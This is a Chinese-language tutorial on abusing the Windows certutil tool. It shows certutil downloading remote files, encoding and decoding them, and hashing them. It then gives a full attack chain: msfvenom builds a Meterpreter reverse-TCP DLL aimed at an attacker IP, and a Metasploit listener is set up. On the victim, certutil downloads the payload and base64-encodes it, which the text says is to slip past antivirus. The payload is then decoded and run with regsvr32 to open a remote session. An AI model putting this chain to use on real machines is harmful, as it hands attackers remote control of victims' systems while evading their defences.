Certutil

Certutil是一个命令行工具,它用来管理证书颁发机构(CA)和证书服务。Certutil.exe文件通常位于%systemroot%System32文件夹中。

一般我们会使用Certutil下载文件并执行,如以下命令:

certutil.exe -urlcache -split -f "http://192.168.8.1/evil.bat" evil.bat

但是这样就忽略了certuil的编码功能,做不到更隐蔽。

下面我们简单了解一下certuil的编码和解码功能。

首先了解一下编码,执行以下命令:

# 创建file.txt文件,文件内容为hello,file
PS C:\Users\snowwolf\Desktop> Add-Content file.txt "hello,file"
# 使用type命令检查文件内容
PS C:\Users\snowwolf\Desktop> type .\file.txt
hello,file
# 使用certutil编码,encodefile.txt是保存编码的文件
PS C:\Users\snowwolf\Desktop> certutil -encode file.txt encodefile.txt
输入长度 = 12
输出长度 = 74
CertUtil: -encode 命令成功完成。
# 检查编码后文件,可以看到已编码
PS C:\Users\snowwolf\Desktop> type .\encodefile.txt
-----BEGIN CERTIFICATE-----
aGVsbG8sZmlsZQ0K
-----END CERTIFICATE-----

如需解码,只需要运行以下命令即可:

# decodefile.txt是保存解码的文件
PS C:\Users\snowwolf\Desktop> certutil -decode .\encodefile.txt decodefile.txt
输入长度 = 74
输出长度 = 12
CertUtil: -decode 命令成功完成。
PS C:\Users\snowwolf\Desktop> type .\decodefile.txt
hello,file
PS C:\Users\snowwolf\Desktop>

当然,我们也可以指定加密哈希算法:

certutil -hashfile ".\file.txt" md5
certutil -hashfile ".\file.txt" sha1
certutil -hashfile ".\file.txt" sha256

在使用Windows7等系统时,注意字母大写才可以。

PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" MD5
MD5 哈希(文件 .\file.txt):
43 85 ae 7e 03 26 0b 8b 80 e4 e2 39 af 3e 9c 7c
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" SHA1
SHA1 哈希(文件 .\file.txt):
b3 f8 6f da 39 70 4f e8 b5 65 68 8d f1 77 f5 54 87 d1 91 51
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" SHA256
SHA256 哈希(文件 .\file.txt):
a0 7e c8 46 81 b6 65 bc 9d 5e 5a c5 7c 8a 1c be 5c aa 4b 9b 50 2e ed 02 f0 1e d4 27 e7 90 f6 d3
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop>

编码恶意DLL

了解完certutil的编码功能后,我们就可以通过其编码的功能来帮助恶意文件绕过防病毒软件。

首先,我们需要使用Metasploit生成对应的payload:

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=6666 -f dll > /var/www/html/dll.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes

然后启动Metasploit终端并运行以下命令开启监听:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.8.145
lhost => 192.168.8.145
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit

然后在Windows主机中运行下面命令将dll.txt文件下载并编码为edll.txt:

PS C:\Users\snowwolf\Desktop> certutil -urlcache -split -f http://192.168.8.145/dll.txt dll.txt | certutil -encode dll.txt edll.txt
输入长度 = 9216
输出长度 = 12728
CertUtil: -encode 命令成功完成。

如果要执行payload,只需要使用certutil解码并调用regsvr32即可:

PS C:\Users\snowwolf\Desktop> certutil -decode .\edll.txt expolit.dll
输入长度 = 12728
输出长度 = 9216
CertUtil: -decode 命令成功完成。
PS C:\Users\snowwolf\Desktop> regsvr32 /s /u .\expolit.dll

执行后即可获取到会话。